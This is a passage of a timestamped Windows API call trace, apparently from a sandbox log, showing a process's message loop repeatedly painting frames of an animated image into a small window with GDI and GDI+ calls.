hdc=0x15dbf0) returned 0x0 [0118.371] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x4901018a, x1=0, y1=0, rop=0xcc0020) returned 1 [0118.371] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0118.371] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4901018a) returned 0x0 [0118.371] SelectObject (hdc=0x4901018a, h=0x185000f) returned 0x1a05067e [0118.371] DeleteDC (hdc=0x4901018a) returned 1 [0118.371] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0118.371] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0118.371] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0118.371] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0118.371] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0118.371] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0118.372] WaitMessage () returned 1 [0118.549] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0118.550] IsWindowUnicode (hWnd=0x2031e) returned 1 [0118.550] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0118.550] TranslateMessage (lpMsg=0x15e910) returned 0 [0118.550] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0118.550] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0118.550] GetCurrentThreadId () returned 0xec0 [0118.550] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0118.550] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0118.550] IsWindowUnicode (hWnd=0x2031e) returned 1 [0118.550] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0118.550] TranslateMessage (lpMsg=0x15e910) returned 0 [0118.550] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0118.550] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0118.551] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0118.551] CreateCompatibleDC (hdc=0x1010b9d) returned 0x4a01018a [0118.551] SelectObject (hdc=0x4a01018a, h=0x1a05067e) returned 0x185000f [0118.551] GdipCreateFromHDC (hdc=0x4a01018a, graphics=0x15daf0) returned 0x0 [0118.551] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0118.551] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0118.551] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0118.551] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0118.551] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0118.551] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1afbe470 [0118.551] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1afbe470) returned 0x0 [0118.552] LocalFree (hMem=0x1afbe470) returned 0x0 [0118.552] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0118.552] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0118.552] GdipCreateRegion (region=0x15dc20) returned 0x0 [0118.552] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0118.552] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0118.552] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0118.552] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0118.552] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0118.553] GetSystemMetrics (nIndex=42) returned 0 [0118.553] CoTaskMemAlloc (cb=0x6) returned 0x4fff10 [0118.553] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4fff10, nMaxCount=1 | out: lpString="") returned 0 [0118.553] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4fff10) returned 0x0 [0118.553] CoTaskMemFree (pv=0x4fff10) [0118.553] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0118.553] GdipCreateRegion (region=0x15d710) returned 0x0 [0118.553] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0118.553] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0118.553] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0118.553] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0118.553] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1afbe470 [0118.553] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1afbe470) returned 0x0 [0118.554] LocalFree (hMem=0x1afbe470) returned 0x0 [0118.554] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0118.554] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1afbe470 [0118.554] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1afbe470) returned 0x0 [0118.554] LocalFree (hMem=0x1afbe470) returned 0x0 [0118.555] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0118.555] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0118.555] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0118.555] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0118.555] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0118.555] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0118.555] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0118.555] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0118.555] GetCurrentObject (hdc=0x4a01018a, type=0x1) returned 0x1b00017 [0118.555] GetCurrentObject (hdc=0x4a01018a, type=0x2) returned 0x1900010 [0118.555] GetCurrentObject (hdc=0x4a01018a, type=0x7) returned 0x1a05067e [0118.555] GetCurrentObject (hdc=0x4a01018a, type=0x6) returned 0x18a002e [0118.555] SaveDC (hdc=0x4a01018a) returned 1 [0118.555] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x27040b8a [0118.555] GetClipRgn (hdc=0x4a01018a, hrgn=0x27040b8a) returned 0 [0118.556] SelectClipRgn (hdc=0x4a01018a, hrgn=0x570407c3) returned 2 [0118.556] DeleteObject (ho=0x27040b8a) returned 1 [0118.556] DeleteObject (ho=0x570407c3) returned 1 [0118.556] OffsetViewportOrgEx (in: hdc=0x4a01018a, x=0, y=0, lppt=0x271d120 | out: lppt=0x271d120) returned 1 [0118.556] GetNearestColor (hdc=0x4a01018a, color=0xffffff) returned 0xffffff [0118.556] CreateSolidBrush (color=0xffffff) returned 0x2f100190 [0118.556] FillRect (hDC=0x4a01018a, lprc=0x15d7c0, hbr=0x2f100190) returned 1 [0118.556] DeleteObject (ho=0x2f100190) returned 1 [0118.556] RestoreDC (hdc=0x4a01018a, nSavedDC=-1) returned 1 [0118.556] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0118.556] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4a01018a) returned 0x0 [0118.556] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd880dbd) returned 0x0 [0118.556] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0118.556] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0118.556] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0118.556] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0118.557] GetSystemMetrics (nIndex=42) returned 0 [0118.557] CoTaskMemAlloc (cb=0x6) returned 0x4fff10 [0118.557] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4fff10, nMaxCount=1 | out: lpString="") returned 0 [0118.557] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4fff10) returned 0x0 [0118.557] CoTaskMemFree (pv=0x4fff10) [0118.557] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x16) returned 0x0 [0118.559] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0118.559] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0118.559] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0118.559] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0118.559] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x4a01018a, x1=0, y1=0, rop=0xcc0020) returned 1 [0118.560] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0118.560] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4a01018a) returned 0x0 [0118.560] SelectObject (hdc=0x4a01018a, h=0x185000f) returned 0x1a05067e [0118.560] DeleteDC (hdc=0x4a01018a) returned 1 [0118.560] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0118.560] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0118.560] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0118.560] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0118.560] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0118.560] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0118.560] WaitMessage () returned 1 [0118.737] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0118.737] IsWindowUnicode (hWnd=0x2031e) returned 1 [0118.737] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0118.737] TranslateMessage (lpMsg=0x15e910) returned 0 [0118.737] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0118.738] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0118.738] GetCurrentThreadId () returned 0xec0 [0118.738] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0118.738] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0118.738] IsWindowUnicode (hWnd=0x2031e) returned 1 [0118.738] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0118.738] TranslateMessage (lpMsg=0x15e910) returned 0 [0118.738] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0118.738] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0118.739] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0118.739] CreateCompatibleDC (hdc=0x1010b9d) returned 0x4b01018a [0118.739] SelectObject (hdc=0x4b01018a, h=0x1a05067e) returned 0x185000f [0118.739] GdipCreateFromHDC (hdc=0x4b01018a, graphics=0x15daf0) returned 0x0 [0118.739] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0118.739] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0118.739] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0118.739] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0118.739] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0118.739] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1afc9d20 [0118.740] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1afc9d20) returned 0x0 [0118.740] LocalFree (hMem=0x1afc9d20) returned 0x0 [0118.740] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0118.740] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0118.740] GdipCreateRegion (region=0x15dc20) returned 0x0 [0118.741] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0118.741] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0118.741] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0118.741] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0118.741] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0118.741] GetSystemMetrics (nIndex=42) returned 0 [0118.741] CoTaskMemAlloc (cb=0x6) returned 0x4fff10 [0118.741] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4fff10, nMaxCount=1 | out: lpString="") returned 0 [0118.741] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4fff10) returned 0x0 [0118.741] CoTaskMemFree (pv=0x4fff10) [0118.741] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0118.742] GdipCreateRegion (region=0x15d710) returned 0x0 [0118.742] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0118.742] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0118.742] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0118.742] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0118.743] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1afc9d20 [0118.743] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1afc9d20) returned 0x0 [0118.743] LocalFree (hMem=0x1afc9d20) returned 0x0 [0118.743] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0118.743] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1afc9d20 [0118.744] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1afc9d20) returned 0x0 [0118.744] LocalFree (hMem=0x1afc9d20) returned 0x0 [0118.744] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0118.744] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0118.744] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0118.744] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0118.745] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0118.745] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0118.745] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0118.745] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0118.745] GetCurrentObject (hdc=0x4b01018a, type=0x1) returned 0x1b00017 [0118.745] GetCurrentObject (hdc=0x4b01018a, type=0x2) returned 0x1900010 [0118.745] GetCurrentObject (hdc=0x4b01018a, type=0x7) returned 0x1a05067e [0118.745] GetCurrentObject (hdc=0x4b01018a, type=0x6) returned 0x18a002e [0118.745] SaveDC (hdc=0x4b01018a) returned 1 [0118.745] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x580407c3 [0118.745] GetClipRgn (hdc=0x4b01018a, hrgn=0x580407c3) returned 0 [0118.745] SelectClipRgn (hdc=0x4b01018a, hrgn=0x28040b8a) returned 2 [0118.746] DeleteObject (ho=0x580407c3) returned 1 [0118.746] DeleteObject (ho=0x28040b8a) returned 1 [0118.746] OffsetViewportOrgEx (in: hdc=0x4b01018a, x=0, y=0, lppt=0x271e628 | out: lppt=0x271e628) returned 1 [0118.746] GetNearestColor (hdc=0x4b01018a, color=0xffffff) returned 0xffffff [0118.746] CreateSolidBrush (color=0xffffff) returned 0x30100190 [0118.746] FillRect (hDC=0x4b01018a, lprc=0x15d7c0, hbr=0x30100190) returned 1 [0118.746] DeleteObject (ho=0x30100190) returned 1 [0118.746] RestoreDC (hdc=0x4b01018a, nSavedDC=-1) returned 1 [0118.747] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0118.747] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4b01018a) returned 0x0 [0118.747] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd860dbd) returned 0x0 [0118.747] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0118.747] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0118.747] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0118.747] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0118.747] GetSystemMetrics (nIndex=42) returned 0 [0118.747] CoTaskMemAlloc (cb=0x6) returned 0x4fff10 [0118.748] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4fff10, nMaxCount=1 | out: lpString="") returned 0 [0118.748] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4fff10) returned 0x0 [0118.748] CoTaskMemFree (pv=0x4fff10) [0118.748] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0118.748] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0118.748] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0118.748] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0118.748] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x4b01018a, x1=0, y1=0, rop=0xcc0020) returned 1 [0118.749] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0118.749] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4b01018a) returned 0x0 [0118.749] SelectObject (hdc=0x4b01018a, h=0x185000f) returned 0x1a05067e [0118.749] DeleteDC (hdc=0x4b01018a) returned 1 [0118.749] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0118.749] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0118.749] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0118.750] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0118.750] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0118.750] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0118.750] WaitMessage () returned 1 [0118.884] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0118.884] IsWindowUnicode (hWnd=0x2031e) returned 1 [0118.884] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0118.884] TranslateMessage (lpMsg=0x15e910) returned 0 [0118.884] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0118.885] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0118.885] GetCurrentThreadId () returned 0xec0 [0118.885] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0118.885] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0118.885] IsWindowUnicode (hWnd=0x2031e) returned 1 [0118.885] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0118.885] TranslateMessage (lpMsg=0x15e910) returned 0 [0118.885] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0118.885] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0118.886] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0118.886] CreateCompatibleDC (hdc=0x1010b9d) returned 0x4c01018a [0118.886] SelectObject (hdc=0x4c01018a, h=0x1a05067e) returned 0x185000f [0118.886] GdipCreateFromHDC (hdc=0x4c01018a, graphics=0x15daf0) returned 0x0 [0118.886] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0118.886] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0118.886] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0118.886] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0118.886] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0118.886] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1afc9d20 [0118.886] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1afc9d20) returned 0x0 [0118.887] LocalFree (hMem=0x1afc9d20) returned 0x0 [0118.887] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0118.887] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0118.887] GdipCreateRegion (region=0x15dc20) returned 0x0 [0118.887] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0118.888] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0118.888] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0118.888] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0118.888] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0118.888] GetSystemMetrics (nIndex=42) returned 0 [0118.888] CoTaskMemAlloc (cb=0x6) returned 0x4fff10 [0118.888] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4fff10, nMaxCount=1 | out: lpString="") returned 0 [0118.888] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4fff10) returned 0x0 [0118.888] CoTaskMemFree (pv=0x4fff10) [0118.888] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0118.889] GdipCreateRegion (region=0x15d710) returned 0x0 [0118.889] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0118.889] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0118.889] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0118.889] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0118.889] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1afc9d20 [0118.889] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1afc9d20) returned 0x0 [0118.890] LocalFree (hMem=0x1afc9d20) returned 0x0 [0118.890] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0118.890] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1afc9d20 [0118.890] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1afc9d20) returned 0x0 [0118.891] LocalFree (hMem=0x1afc9d20) returned 0x0 [0118.891] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0118.891] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0118.891] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0118.891] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0118.892] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0118.892] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0118.892] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0118.892] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0118.892] GetCurrentObject (hdc=0x4c01018a, type=0x1) returned 0x1b00017 [0118.892] GetCurrentObject (hdc=0x4c01018a, type=0x2) returned 0x1900010 [0118.892] GetCurrentObject (hdc=0x4c01018a, type=0x7) returned 0x1a05067e [0118.892] GetCurrentObject (hdc=0x4c01018a, type=0x6) returned 0x18a002e [0118.892] SaveDC (hdc=0x4c01018a) returned 1 [0118.893] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x29040b8a [0118.893] GetClipRgn (hdc=0x4c01018a, hrgn=0x29040b8a) returned 0 [0118.893] SelectClipRgn (hdc=0x4c01018a, hrgn=0x590407c3) returned 2 [0118.893] DeleteObject (ho=0x29040b8a) returned 1 [0118.893] DeleteObject (ho=0x590407c3) returned 1 [0118.893] OffsetViewportOrgEx (in: hdc=0x4c01018a, x=0, y=0, lppt=0x27222d8 | out: lppt=0x27222d8) returned 1 [0118.893] GetNearestColor (hdc=0x4c01018a, color=0xffffff) returned 0xffffff [0118.893] CreateSolidBrush (color=0xffffff) returned 0x31100190 [0118.894] FillRect (hDC=0x4c01018a, lprc=0x15d7c0, hbr=0x31100190) returned 1 [0118.894] DeleteObject (ho=0x31100190) returned 1 [0118.894] RestoreDC (hdc=0x4c01018a, nSavedDC=-1) returned 1 [0118.894] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0118.894] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4c01018a) returned 0x0 [0118.894] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd840dbd) returned 0x0 [0118.894] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0118.894] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0118.894] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0118.894] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0118.895] GetSystemMetrics (nIndex=42) returned 0 [0118.895] CoTaskMemAlloc (cb=0x6) returned 0x4fff10 [0118.895] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4fff10, nMaxCount=1 | out: lpString="") returned 0 [0118.895] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4fff10) returned 0x0 [0118.895] CoTaskMemFree (pv=0x4fff10) [0118.895] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x18) returned 0x0 [0118.898] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0118.898] GdipGetImageHeight (image=0x1dc21b40, 